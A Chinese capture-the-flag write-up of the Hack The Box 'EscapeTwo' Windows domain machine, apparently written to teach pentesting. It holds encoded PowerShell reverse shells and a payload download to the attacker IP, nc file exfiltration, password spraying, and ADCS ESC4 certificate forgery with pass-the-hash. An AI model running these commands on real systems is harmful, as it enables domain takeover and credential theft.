EscaoeTwo

admin 2025年2月14日10:04:46评论45 views字数 16111阅读53分42秒阅读模式

EscaoeTwo

https://app.hackthebox.com/machines/EscapeTwo

受害者ip:10.10.11.51

攻击者ip:10.10.16.22

参考:https://www.hyhforever.top/htb-escapetwo/

https://blind0bandit.gitbook.io/blog/windows-machines/easy/htb-escapetwo#lateral-movement

 

开局自带的一个用户,rose / KxEPkKe6R8su

端口扫描

EscaoeTwo

EscaoeTwo

修改hosts

| ms-sql-ntlm-info:             |10.10.11.51:1433:             |Target_Name: SEQUEL            |NetBIOS_Domain_Name: SEQUEL            |NetBIOS_Computer_Name: DC01            |DNS_Domain_Name: sequel.htb            |DNS_Computer_Name: DC01.sequel.htb            |DNS_Tree_Name: sequel.htb

echo "10.10.11.51 DC01 sequel.htb DC01.sequel.htb" >> /etc/hosts

tail -n 1 /etc/hosts 查看倒数第一行内容

EscaoeTwo

枚举RID(每个用户和组都有一个唯一的 RID)

EscaoeTwo

另一个·工具·:crackmapexec smb sequel.htb -u "rose" -p "KxEPkKe6R8su" --rid-brute

EscaoeTwo

枚举域内所有用户

netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --users

EscaoeTwo

枚举smb共享目录

netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares

EscaoeTwo

EscaoeTwo

方法2:

smbmap -u rose -p 'KxEPkKe6R8su' -H sequel.htb

EscaoeTwo

方法3:

smbclient -L //10.10.11.51 -U 'rose%KxEPkKe6R8su'

EscaoeTwo

枚举域内计算机

netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares

sequel.htb 是域名,DC01 是域控

EscaoeTwo

下载文件

smbclient //10.10.11.51/"Accounting Department" -U 'rose'

EscaoeTwo

EscaoeTwo

微软的excel打不开这个

EscaoeTwo

根据 file 命令的输出结果,accounts.xlsx 确实是一个符合 .xlsx 文件格式的 ZIP 压缩文件(.xlsx 文件本质上是一个 ZIP 包含 XML 数据)

unzip accounts.xlsx -d accounts_unzipped            cd accounts_unzipped            cat xl/sharedStrings.xml

EscaoeTwo

| First Name | Last Name | Email| Username | Password|            |------------|-----------|---------------------|----------|--------------------|            | Angela| Martin| [email protected]| angela| 0fwz7Q4mSpurIt99|            | Oscar| Martinez| [email protected]| oscar| 86LxLBMgEWaKUnBG|            | Kevin| Malone| [email protected]| kevin| Md9Wlq1E5bZnVDVo|            || -| [email protected]| sa| MSSQLP@ssw0rd!|

反弹shell1:

用sa的凭证使用impacket-mssqlclient登录数据库

impacket-mssqlclient 'sa:MSSQLP@ssw0rd!'@10.10.11.51

enable_xp_cmdshell

xp_cmdshell whoami 执行命令

EscaoeTwo

监听端口

EscaoeTwo

执行反弹shell命令

SQL (sadbo@master)> enable_xp_cmdshell            INFO(DC01SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.            INFO(DC01SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.            SQL (sadbo@master)> xp_cmdshell "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAyACIALAAxADEAMQAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

EscaoeTwo

成功反弹

EscaoeTwo

反弹shell2:

netexec mssql sequel.htb -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAyACIALAAyADIAMgAyACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

EscaoeTwo

反弹shell3:

https://github.com/Adkali/PowerJoker

python3 PowerJoker.py -l 10.10.16.22 -p 4444生成Payload.ps1和payload code,并监听4444端口(运行后可以取消并用nc -lnvp 4444代替)               impacket-mssqlclient 'sa:MSSQLP@ssw0rd!'@10.10.11.51               enable_xp_cmdshell               1. 下载生产的Payloadps1,然后执行它               xp_cmdshell powershell -c iwr http://10.10.16.22/Payload.ps1 -o C:programdatashell.ps1               xp_cmdshell powershell -c C:programdatashell.ps1               2. 直接执行code,选一个即可               xp_cmdshell "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAyACIALAAxADEAMQAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="               输入1进入JokerShell

EscaoeTwo

EscaoeTwo

反弹shell4:

impacket-mssqlclient 'sa:MSSQLP@ssw0rd!'@10.10.11.51             enable_xp_cmdshell             nc -lnvp 4444            wget https://github.com/Mayter/mssql-command-tool/releases/download/mssql/mssql-command-tools_Linux_amd64            chmod +x mssql-command-tools_Linux_amd64            ./mssql-command-tools_Linux_amd64 --host 10.10.11.51 -u "sa" -p 'MSSQLP@ssw0rd!' -c "powershell -e base64_code"

登录的用户是mssql,找到mssql配置文件位置

win:C:Program FilesMicrosoft SQL ServerMSSQL{版本号}.MSSQLSERVERMSSQLBinn

linux:/var/opt/mssql/

找到配置文件C:SQL2019ExpressAdv_ENU> type sql-Configuration.INI

获得密码“WqSZAF6CysDQbGb3”

EscaoeTwo

EscaoeTwo

使用nxc进行密码喷洒

netexec winrm sequel.htb -u user.txt -p "WqSZAF6CysDQbGb3"

跑出用户密码,ryan:WqSZAF6CysDQbGb3

EscaoeTwo

如果是首次使用需要安装

apt-get install bloodhound安装Bloodhound            neo4j console启动neo4j服务

启动成功后,访问 http://127.0.0.1:7474/browser ,默认的用户名和密码为:neo4j,登录后修改默认密码

EscaoeTwo

数据采集1

将生成的zip文件导入到bloodhound

bloodhound-python -u 'ryan' -p 'WqSZAF6CysDQbGb3' -d sequel.htb -ns 10.10.11.51 -c All --zip

EscaoeTwo

数据采集2

win下载预编译的SharpHound二进制或PS1版本(任选其一)---》运行后将生成的zip通过nc传送到kali---》将zip导入到bloodhound

https://github.com/BloodHoundAD/BloodHound/tree/master/Collectorskali下载好后开启http服务上传到win            evil-winrm -i sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3'远程登陆ryan用户            certutil -urlcache -f http://10.10.16.22/bloodhound/SharpHound.exe SharpHound.exe二进制采集工具             SharpHound.exe -c all            certutil -urlcache -f http://10.10.16.22/bloodhound/SharpHound.ps1 SharpHound.ps1powershell采集工具            powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"            certutil -urlcache -f http://10.10.16.22/nc.exe nc.exewin下载kali上传的nc            nc -lnvp 3333 > bloodhound.zip使用nc监听指定的端口            cmd /c "nc.exe 10.10.16.22 3333 < 20250209175227_BloodHound.zip"从 PowerShell 中直接调用 CMD,并在 CMD 的环境中运行命令,避免 PowerShell 的 < 操作符报错。            或者使用Get-Content替代<Get-Content -Path "20250209175227_BloodHound.zip" -Encoding Byte | ./nc.exe 10.10.16.22 3333这里的 Get-Content 会以二进制(Byte)模式读取文件内容,并通过管道 (|) 将数据传递给 nc.exe

EscaoeTwo

EscaoeTwo

EscaoeTwo

传输成功

EscaoeTwo

列举权限1:Bloodhound

通过 Ryan 用户使用 Bloodhound 进行分析,发现 Ryan 对 CA_SVC 具有 WriteOwner 权限

可以利用 WriteOwner 权限将其所有权改为 Ryan,然后进一步获取对 CA_SVC 的完全控制,最终提升自身权限

WriteOwner 权限的含义            WriteOwner 权限允许你更改对象的所有者,换句话说,你可以把这个对象(CA_SVC 账户)的“所有权”改为某个你控制的用户。            如果你拥有某个账户的所有权,你就可以为这个账户分配更多权限(比如完全控制 GenericAll 或重置密码的 ResetPassword),从而完全接管它

EscaoeTwo

EscaoeTwo

列举权限2:powerview

如果是首次使用需要安装工具powerview

sudo apt install libkrb5-dev            pipx install "git+https://github.com/aniqfakhrul/powerview.py"            PowerView的常用命令如下:            Get-NetDomain 获取当前用户所在域的名称            Get-NetUser 获取所有用户的详细信息            Get-NetDomainController 获取所有域控制器的信息            Get-NetComputer 获取域内所有机器的详细信息            Get-NetPrinter 获取域中所有当前计算机对象的数组            Get-NetOU 获取域内的OU信息            Get-NetGroup 获取所有域内组和组成员的信息            Get-NetGroupMember 获取指定域组中所有当前用户的列表            Get-NetFileServer 根据SPN获取当前域使用的文件服务器信息            Get-NetShare 获取当前域内所有的网络共享信息            Get-DFSshare 获取域上所有分发文件系统共享的列表            Get-NetSubnet 获取域的其他网段            Get-NetSite 获取域内的当前站点            Get-NetDomainTrust 获取当前用户域的所有信任            Get-NetForestTrust 获取与当前用户的域关联的林的所有信任            Find-ForeignUser 枚举在其主域之外的组中的用户            Find-ForeignGroup 枚举域组的所有成员并查找查询域之外的用户            Invoke-MapDomainTrust 尝试构建所有域信任的关系映射            Get-NetLoggedon 获取主动登录到指定服务器的用户            Get-NetLocalGroup 获取一个或多个远程主机上本地组的成员            Get-NetSession 获取指定服务器的会话            Get-NetRDPSession 获取指定服务器的远程连接            Get-NetProcess 获取远程主机的进程            Get-UserEvent 获取指定用户的日志            Get-ADObject 获取活动目录的对象            Get-NetGPO 获取域内所有的组策略对象            Get-NetGPOGroup 获取域中设置”受限组”的所有GPO            Find-GPOLocation 获取用户/组,并通过GPO枚举和关联使其具有有效权限的计算机            Find-GPOComputerAdmin 获取计算机并通过GPO枚举确定谁对其具有管理权限            Get-DomainPolicy 获取域默认策略或域控制器策略            Get-DomainSID 返回指定域的SID            Invoke-UserHunter 获取域用户登录的计算机信息及该用户是否有本地管理员权限            Invoke-ProcessHunter 通过查询域内所有的机器进程找到特定用户            Invoke-UserEventHunter 根据用户日志查询某域用户登陆过哪些域机器            Invoke-ShareFinder 在本地域中的主机上查找(非标准)共享            Invoke-FileFinder 在本地域中的主机上查找潜在的敏感文件            Find-LocalAdminAccess 在域上查找当前用户具有本地管理员访问权限的计算机            Find-ManagedSecurityGroups 搜索受管理的活动目录安全组并标识对其具有写访问权限的用户,即这些组拥有添加或删除成员的能力            Get-ExploitableSystem 发现系统可能易受常见攻击            Invoke-EnumerateLocalAdmin 枚举域中所有计算机上本地管理员组的成员

获取ryan用户的objectSid

powerview sequel.htb/ryan:'WqSZAF6CysDQbGb3'@10.10.11.51 -q "Get-DomainUser -Identity ryan -Select ObjectSid"

Get-DomainUser:获取域用户的信息。            -Identity ryan:指定查询的用户是 ryan。            -Select ObjectSid:只选择并显示 ObjectSid 字段,精简输出。

S-1-5-21-548670397-972687484-3496335370-1114

S-1-5-21:表示这是一个域用户的 SID。            548670397-972687484-3496335370:这是域的唯一标识符,与域控制器相关。            1114:普通用户的 RID,通常 RID 从 1000 开始递增。500为域管理员账户,512为域管理员组,519为企业管理员组

EscaoeTwo

查询用户ryan的ALC信息,发现存在WriteOwner权限

ActiveDirectoryRights 和 SecurityIdentifier 明确显示,ryan 用户对对象 Certification Authority 拥有 WriteOwner 权限

powerview sequel.htb/ryan:'WqSZAF6CysDQbGb3'@10.10.11.51 -q "Get-DomainObjectAcl -ResolveGUIDs -SecurityIdentifier S-1-5-21-548670397-972687484-3496335370-1114"            sequel.htb:目标域名称。            ryan:使用的域用户账户名称。            'WqSZAF6CysDQbGb3':域用户的密码。            10.10.11.51:域控制器或 LDAP 服务的 IP 地址。            -q            指定需要查询的命令,后面跟的是 PowerView 的命令。            Get-DomainObjectAcl            用于获取目标域中所有对象的 ACL(访问控制列表)信息。            ACL 定义了哪些用户或组对某个对象(如用户、组、计算机或域控制器)具有哪些权限。            -ResolveGUIDs            将某些 ACL 中的 GUID 转换为人类可读的值(如权限类型、对象类型等),让信息更清晰。            -SecurityIdentifier S-1-5-21-548670397-972687484-3496335370-1114            过滤条件:只显示 对象 ACL 中包含指定 SID(安全标识符)的条目。

EscaoeTwo

修改ca-svc密码

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

certutil -urlcache -f http://10.10.16.22/PowerView.ps1 PowerView.ps1            . .PowerView.ps1下载并运行            Set-DomainObjectOwner -identity ca_svc -OwnerIdentity ryan将 ca_svc 的对象所有者改为 ryan            Add-DomainObjectAcl -TargetIdentity ca_svc -PrincipalIdentity ryan -Rights ResetPassword为 ryan 添加 ResetPassword 权限,确保可以修改 ca_svc 的密码            $cred = ConvertTo-SecureString 'Password123!' -AsPlainText -Force指定的新密码 'Password123!' 被转换为加密形式,准备传递给后续的命令            Set-DomainUserPassword -identity ca_svc -accountpassword $cred向目标账户 ca_svc 设置了新密码

EscaoeTwo

用smbclient检测出密码确实是修改成功了,evil-winrm连不上

EscaoeTwo

修改权限1:

将 ca_svc 的所有权转移给用户 ryan。            powerview sequel.htb/ryan:'WqSZAF6CysDQbGb3'@10.10.11.51 -q "Set-DomainObjectOwner -TargetIdentity ca_svc -PrincipalIdentity ryan"            在 ca_svc的 ACL 中为 ryan 添加完全控制权限            powerview sequel.htb/ryan:'WqSZAF6CysDQbGb3'@10.10.11.51 -q "Add-DomainObjectAcl -TargetIdentity ca_svc -PrincipalIdentity ryan -Rights fullcontrol"

EscaoeTwo

修改权限2:

将 ryan 用户设置为 ca_svc 用户的所有者            bloodyAD --host DC01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan            ryan 在 ca_svc 的 ACL 中被赋予了 完全控制权限            impacket-dacledit-action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb'/"ryan":"WqSZAF6CysDQbGb3"-action 'write': 表明操作是对目标对象的 ACL 进行修改。            -rights 'FullControl': 赋予指定主体(ryan)对目标对象(ca_svc)的完全控制权限。            直接在对象的 DACL 上为指定用户添加权限

EscaoeTwo

用certipy-ad获取ca_svc的NT hash ,(如果遇到报错就ntpdate sequel.htb手动更新一下时间,其他报错可能是网络问题)

certipy-ad shadow auto -u '[email protected]' -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.10.11.51

EscaoeTwo

查找可以利用的漏洞,发现存在ESC4

certipy-ad find -u [email protected] -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -stdout -vulnerable -dc-ip 10.10.11.51

find            用来查找目标域的证书服务(CA)配置和可能存在的漏洞。            [email protected]            使用账号 ca_svc 进行身份认证,目标域是 sequel.htb。            -hashes :3b181b914e7a9d5508ea1e20bc2b7fce            通过 NTLM 哈希认证代替密码:            : 冒号前为空,表示没有 LM 哈希。            3b181b914e7a9d5508ea1e20bc2b7fce 是 NTLM 哈希。            -stdout            将结果直接显示在终端,而不是保存到文件。            -vulnerable            只显示存在漏洞或安全问题的配置,过滤掉安全的部分。            -dc-ip 10.10.11.51            明确指定目标域控制器的 IP 地址为 10.10.11.51,避免 DNS 问题。

EscaoeTwo

EscaoeTwo

参考:http://nooemotion.com/2023/02/06/%E5%9F%9F%E6%B8%97%E9%80%8F%E7%AC%94%E8%AE%B0-adcs-%E5%9F%9F%E6%8F%90%E6%9D%83-esc4/#ESC4%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%EF%BC%9A

https://www.cnblogs.com/sakura521/p/15489865.html

esc4原理:证书模板是ActiveDirectory中的安全对象,这意味着它们有一个安全描述符,指定哪些ActiveDirectory主体对模板具有特定权限。我们说,如果一个模板有访问控制项(ACE),允许AD主体在模板中编辑敏感的安全设置,那么这个模板在访问控制上就存在配置错误。也就是说,如果攻击者可以访问这些AD主体,他们就可以主动将错误配置推送到一个安全的模板,攻击者可以设置易受攻击的EKU(ESC1-ESC3)、翻转设置(如CTFLAGERINCOLEE SUBERS SUBJECT(ESc1))或删除“颁发要求”(如管理批准或授权签名)ESC4利用条件:对模板有编辑写入权限

漏洞点:ESC4

ESC4 漏洞定义: SEQUEL.HTBCert Publishers 组拥有危险权限,可以直接修改模板的权限控制列表(ACL)和属性。 这意味着,即便攻击者本身不能直接申请证书,通过滥用 Cert Publishers 组的权限,可以: 修改模板的 Enrollment Rights,将低权限用户添加到允许申请证书的名单。 或直接降低模板的安全限制,使得普通用户也能操作。

Enrollment Rights: SEQUEL.HTBDomain Admins这是域管理员组,拥有整个域的高级权限            SEQUEL.HTBEnterprise Admins企业管理员组,通常在多域环境中拥有更高级别的权限(管理整个森林)            SEQUEL.HTBAdministrator域内默认的最高权限用户,也就是域的 "根管理员"。            SEQUEL.HTBCert Publishers本身不算高危组,但因为它拥有了“修改证书模板”的权限,导致它成为潜在的攻击突破点。只要你控制了这个组的成员,可能就能间接申请高权限用户的伪造证书。

EscaoeTwo

ca属于cp组,所以可以利用ca修改DunderMifflinAuthentication的权限

查询Cert Publishers组内成员            powershell            Get-ADGroupMember -Identity "Cert Publishers"            cmd            net group "Cert Publishers" /domain

EscaoeTwo

修改了 DunderMifflinAuthentication 模板的配置,使其对该模板拥有更高的控制权,并可能移除了限制。

certipy-ad template -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51

EscaoeTwo

伪造admin的证书

certipy-ad req -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -target DC01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn [email protected] -ns 10.10.11.51 -dns 10.10.11.51 -debug

certipy-ad req:使用 certipy-ad 工具发起证书请求。            -u ca_svc:使用用户名 ca_svc。            -hashes 3b181b914e7a9d5508ea1e20bc2b7fce:指定 NTLM 哈希值。            -ca sequel-DC01-CA:指定证书颁发机构(CA)为 sequel-DC01-CA。            -target DC01.sequel.htb:目标主机为 DC01.sequel.htb。            -dc-ip 10.10.11.51:指定域控制器的 IP 地址为 10.10.11.51。            -template DunderMifflinAuthentication:使用证书模板 DunderMifflinAuthentication。            -upn [email protected]:指定用户主体名称(UPN)为 [email protected]。            -ns 10.10.11.51:指定名称服务器(Name Server)为 10.10.11.51。            -dns 10.10.11.51:指定 DNS 服务器为 10.10.11.51。

EscaoeTwo

导入administrator_10.pfx获得administrator hash

certipy-ad auth -pfx administrator_10.pfx -domain sequel.htb -dc-ip 10.10.11.51 -debug

certipy-ad auth:使用 certipy-ad 工具进行身份验证。            -pfx administrator_10.pfx:指定使用的 PFX 证书文件。            -domain sequel.htb:目标域名。            -dc-ip 10.10.11.51:指定域控制器的 IP 地址。

EscaoeTwo

登录admin,拿到root.txt

evil-winrm -i 10.10.11.51 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff

EscaoeTwo

impacket-psexec sequel.htb/[email protected] -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff

EscaoeTwo

原文始发于微信公众号(王之暴龙战神):EscaoeTwo

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月14日10:04:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   EscaoeTwohttps://cn-sec.com/archives/3738839.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息